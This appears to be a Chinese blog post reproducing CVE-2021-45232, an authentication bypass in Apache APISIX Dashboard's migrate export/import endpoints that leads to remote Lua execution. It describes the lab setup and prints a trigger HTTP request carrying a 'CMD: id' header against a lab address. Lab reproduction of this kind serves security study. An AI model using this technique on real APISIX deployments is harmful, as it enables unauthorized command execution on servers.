Apache APISIX Dashboard API 权限绕过导致rce(CVE-2021-45232)

Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 是一个简单易用的前端界面,用于管理 Apache APISIX。在 Apache APISIX Dashboard 2.10.1 之前版本中,Manager API 使用两个框架并在框架的基础上引入框架 droplet gin ,所有 API 和认证中间件都是基于框架 droplet 开发的。但是其中有 2 个 API /apisix/admin/migrate/export 和 /apisix/admin/migrate/import 使用能够绕过身份验证的框架 gin 接口。通过使用这两个未经认证的 API 端点,攻击者可以导出和导入任意 Apache APISIX 配置,包括路由器、服务、脚本等,从而导致 SSRF 或执行任意 LUA 脚本 (RCE)。

复现:

docker 启动环境

docker-compose up -d

 访问登录页面

/apisix/admin/migrate/export 以及 /apisix/admin/migrate/import Apache APISIX Dashboard 提供的 2 个未经认证的 API,用于导出和导入 Apache APISIX 的配置。因此,我们可以简单地导入一个带有恶意路由器的工艺配置,其中包含用户提供的 LUA 脚本: 

请注意,最后 4 个字节是此文件的 CRC 校验和,因此最好使用自动 POC 来构建和发送请求,例如此POC

添加恶意路由器后,需要向 Apache APISIX 发送请求(与 Apache APISIX Dashboard 不同)以触发 LUA 脚本

GET /FCQkTw HTTP/1.1
Host: 192.168.92.130:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0

Apache APISIX 正在监听以下环境下的 9080 端口:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值